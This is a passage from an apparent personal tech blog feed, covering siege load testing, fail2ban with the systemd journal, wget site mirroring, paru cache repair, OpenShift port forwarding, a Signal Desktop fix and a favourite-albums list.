&lt;a href="https://www.joedog.org/siege-manual/"&gt;siege&lt;/a&gt; on it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DB pool exhaustion&lt;/li&gt;
&lt;li&gt;HTTP connector settings out of sync with other components&lt;/li&gt;
&lt;li&gt;Integrations with 3rd party systems stall&lt;/li&gt;
&lt;li&gt;Basically, with any scarce resource you thought the app would
  recycle when you write &lt;code&gt;connection.close()&lt;/code&gt;, will potentially come
  back and bite you since your app spends longer &lt;em&gt;actually&lt;/em&gt; closing it
  than what you assume in your code.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The world is mean, so prepare your app by using a mean testing
tool. My favourite is
&lt;a href="https://www.joedog.org/siege-manual/"&gt;siege&lt;/a&gt;. In addition be an
excellent and scriptable shell command, it can sustain heavy load
creation much better than e.g. &lt;a href="https://jmeter.apache.org/"&gt;JMeter&lt;/a&gt;,
which I've on several occations seen freeze up when the going gets
rough.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Allows you to create a URI file with all HTTP operations, including
  POSTing JSON.&lt;/li&gt;
&lt;li&gt;Allows passing as many HTTP headers as you want (so, including auth
  with bearer tokens).&lt;/li&gt;
&lt;li&gt;And last, but not least, it works on any platform, any server.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here's a non-trivial example of using
&lt;a href="https://www.joedog.org/siege-manual/"&gt;siege&lt;/a&gt; for testin both read and
write performance of a backend system:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;siege&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;concurrent&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="nb"&gt;time&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="n"&gt;S&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;header&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Authorization: Bearer eyhunter2..&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;header&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;X-Important-Id-For-App: foo-bar-baz&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;application&lt;/span&gt;&lt;span class="sr"&gt;/json \&lt;/span&gt;
&lt;span class="sr"&gt;    --json-output \&lt;/span&gt;
&lt;span class="sr"&gt;    --benchmark \&lt;/span&gt;
&lt;span class="sr"&gt;    --internet \&lt;/span&gt;
&lt;span class="sr"&gt;    --no-parser \&lt;/span&gt;
&lt;span class="sr"&gt;    --file /&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;load&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;siege&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The contents of &lt;code&gt;/tmp/load-test.siege&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Service discovery document, generated so can be expensive&lt;/span&gt;
&lt;span class="n"&gt;http:&lt;/span&gt;&lt;span class="sr"&gt;//&lt;/span&gt;&lt;span class="n"&gt;localhost:8000&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;openapi&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;

&lt;span class="c1"&gt;# Read book&lt;/span&gt;
&lt;span class="n"&gt;http:&lt;/span&gt;&lt;span class="sr"&gt;//&lt;/span&gt;&lt;span class="n"&gt;localhost:8000&lt;/span&gt;&lt;span class="sr"&gt;/book/&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;

&lt;span class="c1"&gt;# Read a thousand books&lt;/span&gt;
&lt;span class="n"&gt;http:&lt;/span&gt;&lt;span class="sr"&gt;//&lt;/span&gt;&lt;span class="n"&gt;localhost:8000&lt;/span&gt;&lt;span class="sr"&gt;/book/&lt;/span&gt;&lt;span class="p"&gt;?&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;

&lt;span class="c1"&gt;# Create book&lt;/span&gt;
&lt;span class="n"&gt;http:&lt;/span&gt;&lt;span class="sr"&gt;//&lt;/span&gt;&lt;span class="n"&gt;localhost:8000&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;book&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;POST&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;title&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;The Iliad&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;author&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Homer&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# Create library&lt;/span&gt;
&lt;span class="n"&gt;attic_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;My loft&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;http:&lt;/span&gt;&lt;span class="sr"&gt;//&lt;/span&gt;&lt;span class="n"&gt;localhost:8000&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;library&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;POST&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;name&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;The Attic called ${attic_name}&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;As you can see in the library example, &lt;code&gt;siege&lt;/code&gt; has rudimentary support
for variables too. Read the fine manual with &lt;a href="https://man.archlinux.org/man/siege.1.en"&gt;man
siege&lt;/a&gt; and learn further
details about this excellent tool.&lt;/p&gt;
&lt;p&gt;Happy load testing!&lt;/p&gt;</content><category term="craftsmanship"/><category term="craftsmanship"/><category term="testing"/><category term="unix"/></entry><entry><title>fail2ban with systemd journal</title><link href="https://skybert.net/linux/fail2ban-with-systemd-journal" rel="alternate"/><published>2025-02-05T00:00:00+01:00</published><updated>2025-02-05T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2025-02-05:/linux/fail2ban-with-systemd-journal</id><summary type="html">&lt;p&gt;The &lt;a href="https://github.com/fail2ban/fail2ban"&gt;fail2ban&lt;/a&gt; package installed
on the Debian version offered by AWS has a default configuration that
depends on reading log files. This doesn't work when
e.g. &lt;a href="https://www.openssh.com/"&gt;sshd&lt;/a&gt; writes failed login attempts to
the systemd journal rather than the traditional &lt;code&gt;/var/log/auth.log&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The error looks like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;#  systemctl …&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;The &lt;a href="https://github.com/fail2ban/fail2ban"&gt;fail2ban&lt;/a&gt; package installed
on the Debian version offered by AWS has a default configuration that
depends on reading log files. This doesn't work when
e.g. &lt;a href="https://www.openssh.com/"&gt;sshd&lt;/a&gt; writes failed login attempts to
the systemd journal rather than the traditional &lt;code&gt;/var/log/auth.log&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The error looks like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;#  systemctl status fail2ban
× fail2ban.service - Fail2Ban Service
     Loaded: loaded (/lib/systemd/system/fail2ban.service; enabled; preset: enabled)
     Active: failed (Result: exit-code) since Wed 2025-02-05 19:43:14 UTC; 2s ago
   Duration: 82ms
       Docs: man:fail2ban(1)
    Process: 7698 ExecStart=/usr/bin/fail2ban-server -xf start (code=exited, status=255/EXCEPTION)
   Main PID: 7698 (code=exited, status=255/EXCEPTION)
        CPU: 80ms

systemd[1]: Started fail2ban.service - Fail2Ban Service.
..
fail2ban-server[8032]: 2025-02-05 19:51:15,947 fail2ban [8032]:  ERROR   Failed during configuration: Have not found any log file for sshd jail
..
systemd[1]: fail2ban.service: Main process exited, code=exited, status=255/EXCEPTION
systemd[1]: fail2ban.service: Failed with result &amp;#39;exit-code&amp;#39;.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The fix is simple, though, just add the following to the enabled jail,
or set it in &lt;code&gt;/etc/fail2ban/jail.conf&lt;/code&gt; to apply this to all jails:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# vim /etc/fail2ban/jail.d/defaults-debian.conf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And add the line with &lt;code&gt;backend&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;[sshd]&lt;/span&gt;
&lt;span class="na"&gt;enabled&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;true&lt;/span&gt;
&lt;span class="na"&gt;backend&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;systemd&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, restart &lt;code&gt;fail2ban&lt;/code&gt; and check its status:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# systemctl restart fail2ban
# systemctl status fail2ban
● fail2ban.service - Fail2Ban Service
     Loaded: loaded (/lib/systemd/system/fail2ban.service; enabled; preset: enabled)
     Active: active (running) since Wed 2025-02-05 19:52:34 UTC; 9min ago
       Docs: man:fail2ban(1)
   Main PID: 8041 (fail2ban-server)
      Tasks: 5 (limit: 1107)
     Memory: 16.3M
        CPU: 458ms
     CGroup: /system.slice/fail2ban.service
             └─8041 /usr/bin/python3 /usr/bin/fail2ban-server -xf start

systemd[1]: Started fail2ban.service - Fail2Ban Service.
..
fail2ban-server[8041]: Server ready
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Finally, check &lt;code&gt;fail2ban&lt;/code&gt; itself to see that the &lt;code&gt;sshd&lt;/code&gt; jail is
working:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# fail2ban-client status sshd
Status for the jail: sshd
|- Filter
|  |- Currently failed: 0
|  |- Total failed: 0
|  `- Journal matches:  _SYSTEMD_UNIT=sshd.service + _COMM=sshd
`- Actions
   |- Currently banned: 0
   |- Total banned: 0
   `- Banned IP list:   
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;As you can see, &lt;code&gt;fail2ban&lt;/code&gt; is keeping tabs on failed ssh login
attempts and will put failed IPs in jail. Happy banning!&lt;/p&gt;</content><category term="linux"/><category term="linux"/><category term="aws"/><category term="security"/></entry><entry><title>Download a Website from the Command Line</title><link href="https://skybert.net/various/download-a-website-from-the-command-line" rel="alternate"/><published>2025-01-27T00:00:00+01:00</published><updated>2025-01-27T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2025-01-27:/various/download-a-website-from-the-command-line</id><summary type="html">&lt;p&gt;Want to make an offline backup of your favourite blog? No need to
download a dedicated app for this, just use
&lt;a href="https://www.gnu.org/software/wget/"&gt;wget&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ wget \
  --execute=&amp;quot;robots = off&amp;quot; \
  --mirror \
  --convert-links \
  --no-parent \
  --wait=5 https://example.com
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This takes a wee while since I've added the &lt;code&gt;--wait=5&lt;/code&gt; seconds switch,
but just let …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Want to make an offline backup of your favourite blog? No need to
download a dedicated app for this, just use
&lt;a href="https://www.gnu.org/software/wget/"&gt;wget&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ wget \
  --execute=&amp;quot;robots = off&amp;quot; \
  --mirror \
  --convert-links \
  --no-parent \
  --wait=5 https://example.com
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This takes a wee while since I've added the &lt;code&gt;--wait=5&lt;/code&gt; seconds switch,
but just let it run in the background and you'll get what you want
without putting any strain on the server. Also, the &lt;code&gt;--convert-links&lt;/code&gt;
makes sure you can browe your local copy without jumping to the online
version. Beware, though, that it might be there's some JavaScript on
the page that makes the page jump to the online version anyway, in
which case you might want to considering a plugin like
&lt;a href="https://addons.mozilla.org/en-US/firefox/addon/noscript/"&gt;noscript&lt;/a&gt;,
or disabling all replace all &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags with something else:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ find -type f | xargs sed -i &amp;#39;s#script&amp;gt;#ignorescript&amp;gt;#g&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Happy archiving!&lt;/p&gt;</content><category term="various"/><category term="various"/><category term="unix"/><category term="bash"/></entry><entry><title>Resolving corrupt AUR packages installed with paru</title><link href="https://skybert.net/linux/resolving-corrupt-aur-packages-installed-with-paru" rel="alternate"/><published>2024-12-18T00:00:00+01:00</published><updated>2024-12-18T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2024-12-18:/linux/resolving-corrupt-aur-packages-installed-with-paru</id><summary type="html">&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ paru -Syu
..
error: failed to download sources for &amp;#39;amazon-ssm-agent-bin-3.3.1345.0-1&amp;#39;:
..
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The reason was a corrupt download from a previous run, so I removed
the local cache entry for that package:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ rm -rf  ~/.cache/paru/clone/amazon-ssm-agent-bin
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, it installed without any problems:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ paru
..
==&amp;gt; Finished making: amazon-ssm-agent-bin 3.3 …&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ paru -Syu
..
error: failed to download sources for &amp;#39;amazon-ssm-agent-bin-3.3.1345.0-1&amp;#39;:
..
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The reason was a corrupt download from a previous run, so I removed
the local cache entry for that package:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ rm -rf  ~/.cache/paru/clone/amazon-ssm-agent-bin
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, it installed without any problems:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ paru
..
==&amp;gt; Finished making: amazon-ssm-agent-bin 3.3.1345.0-1 (Wed 18 Dec 2024 11:00:54 CET)
==&amp;gt; Cleaning up...
loading packages...
resolving dependencies...
looking for conflicting packages...

Packages (1) amazon-ssm-agent-bin-3.3.1345.0-1

Total Installed Size:  121.81 MiB
Net Upgrade Size:        8.03 MiB
..
(1/1) upgrading amazon-ssm-agent-bin   [############################################] 100%
..
$
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="linux"/><category term="arch"/><category term="linux"/></entry><entry><title>OpenShift Port Forwarding</title><link href="https://skybert.net/linux/openshift-port-forwarding" rel="alternate"/><published>2024-11-01T00:00:00+01:00</published><updated>2024-11-01T00:00:00+01:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2024-11-01:/linux/openshift-port-forwarding</id><summary type="html">&lt;p&gt;I want to connect to a MariaDB server running inside one of my pods:&lt;/p&gt;
&lt;p&gt;First, I get the pod id:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ oc get pods | grep -w db
foo-db-75df5b9949-x9zcj :3306
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, I forwarded the MariaDB server port to a random local port:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;oc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;forward&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;75&lt;/span&gt;&lt;span class="n"&gt;df5b9949&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x9zcj&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;3306&lt;/span&gt;
&lt;span class="n"&gt;Forwarding …&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;p&gt;I want to connect to a MariaDB server running inside one of my pods:&lt;/p&gt;
&lt;p&gt;First, I get the pod id:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ oc get pods | grep -w db
foo-db-75df5b9949-x9zcj :3306
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, I forwarded the MariaDB server port to a random local port:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;oc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;forward&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;75&lt;/span&gt;&lt;span class="n"&gt;df5b9949&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x9zcj&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;3306&lt;/span&gt;
&lt;span class="n"&gt;Forwarding&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;127.0.0.1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;39219&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3306&lt;/span&gt;
&lt;span class="n"&gt;Forwarding&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;&lt;span class="mi"&gt;39219&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3306&lt;/span&gt;
&lt;span class="n"&gt;Handling&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;connection&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;39219&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Finally, I could use my local &lt;code&gt;mariadb&lt;/code&gt; client to connect to the
MariaDB running inside my Openshift cluster:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ mariadb \
    --host=localhost \
    --port=39219 \
    --user=${FOO_DB_USER} \
    --password=${FOO_DB_PASSWORD} \
    --database=${FOO_DB_SCHEMA}

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 36
Server version: 11.4.3-MariaDB-ubu2404 mariadb.org binary distribution

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type &amp;#39;help;&amp;#39; or &amp;#39;\h&amp;#39; for help. Type &amp;#39;\c&amp;#39; to clear the current input statement.

MariaDB [foodb]&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Cool, eh? Happy SQLing!&lt;/p&gt;</content><category term="linux"/><category term="linux"/></entry><entry><title>Signal Desktop Freezes All the Time</title><link href="https://skybert.net/linux/signal-desktop-freezes-all-the-time" rel="alternate"/><published>2024-10-21T00:00:00+02:00</published><updated>2024-10-21T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2024-10-21:/linux/signal-desktop-freezes-all-the-time</id><summary type="html">&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ signal-desktop &amp;amp;
..

(signal-desktop:181107): libnotify-WARNING **: 08:44:20.567: Failed to
connect to proxy
[181107:1021/084445.667395:ERROR:libnotify_notification.cc(50)]
notify_notification_show: domain=1250 code=24 message=&amp;quot;Error calling
StartServiceByName for org.freedesktop.Notifications: Timeout was
reached&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This was because I didn't have a notification daemon in my &lt;code&gt;i3&lt;/code&gt; based …&lt;/p&gt;</summary><content type="html">&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ signal-desktop &amp;amp;
..

(signal-desktop:181107): libnotify-WARNING **: 08:44:20.567: Failed to
connect to proxy
[181107:1021/084445.667395:ERROR:libnotify_notification.cc(50)]
notify_notification_show: domain=1250 code=24 message=&amp;quot;Error calling
StartServiceByName for org.freedesktop.Notifications: Timeout was
reached&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This was because I didn't have a notification daemon in my &lt;code&gt;i3&lt;/code&gt; based
setup. Searching the bug track lead me to &lt;a href="https://github.com/signalapp/Signal-Desktop/issues/4653"&gt;this
issue&lt;/a&gt; which
suggested either disabling notifications in the app, or installing a
notification daemon. Since I find &lt;em&gt;not&lt;/em&gt; having notification an awesome
feature of any desktop or phone, I went ahead and disabled the
notifications in the &lt;code&gt;File&lt;/code&gt; → &lt;code&gt;Preferences...&lt;/code&gt; dialogue.&lt;/p&gt;
&lt;p&gt;&lt;img
  class="centered"
  src="/graphics/2024/signal-desktop-notifications-settings.png"
  alt="The Signal Desktop preferences tab for notifications"
/&gt;&lt;/p&gt;
&lt;p&gt;An lo and behold, no more freezes.&lt;/p&gt;</content><category term="linux"/><category term="linux"/><category term="i3"/></entry><entry><title>My All Time Top 10 Music Albums</title><link href="https://skybert.net/various/my-all-time-top-10-music-albums" rel="alternate"/><published>2024-10-16T00:00:00+02:00</published><updated>2024-10-16T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2024-10-16:/various/my-all-time-top-10-music-albums</id><content type="html">&lt;ol&gt;
&lt;li&gt;Keep the Faith, by Bon Jovi&lt;/li&gt;
&lt;li&gt;Brothers in Arms, by Dire Straits&lt;/li&gt;
&lt;li&gt;The Four Seasons, by Nigel Kennedy&lt;/li&gt;
&lt;li&gt;Les Misérables, by Original 1985 London Cast Recording&lt;/li&gt;
&lt;li&gt;Unplugged, by Eric Clapton&lt;/li&gt;
&lt;li&gt;Use Your Illusion II, by Guns N' Roses&lt;/li&gt;
&lt;/ol&gt;</content><category term="various"/><category term="various"/><category term="music"/></entry><entry><title>My Discoveries in 2024</title><link href="https://skybert.net/various/my-discoveries-in-2024" rel="alternate"/><published>2024-08-19T00:00:00+02:00</published><updated>2024-08-19T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2024-08-19:/various/my-discoveries-in-2024</id><summary type="html">&lt;h2&gt;Unix&lt;/h2&gt;
&lt;p&gt;&lt;a href="http://cyber.dabamos.de/unix/x11/?"&gt;Cool, but obscure X11 tools&lt;/a&gt; has
a list of obscure Unix tools from the day back when XFree86 rules the
world. Many of these tools are no longer included in the official
repositories,so you might need to hunt them down and compile from
source.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://kkovacs.eu/cool-but-obscure-unix-tools/"&gt;Cool, but obscure unix …&lt;/a&gt;&lt;/p&gt;</summary><content type="html">&lt;h2&gt;Unix&lt;/h2&gt;
&lt;p&gt;&lt;a href="http://cyber.dabamos.de/unix/x11/?"&gt;Cool, but obscure X11 tools&lt;/a&gt; has
a list of obscure Unix tools from the day back when XFree86 rules the
world. Many of these tools are no longer included in the official
repositories,so you might need to hunt them down and compile from
source.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://kkovacs.eu/cool-but-obscure-unix-tools/"&gt;Cool, but obscure unix
tools&lt;/a&gt; is a list of
modern, updated Unix tools. Still wonderfully obscoure.&lt;/p&gt;
&lt;p&gt;You can download the three legendary &lt;a href="https://archive.org/details/unix-magic/Unix%20Views.jpg"&gt;Unix posters in full
quality&lt;/a&gt; from
archive.org.&lt;/p&gt;
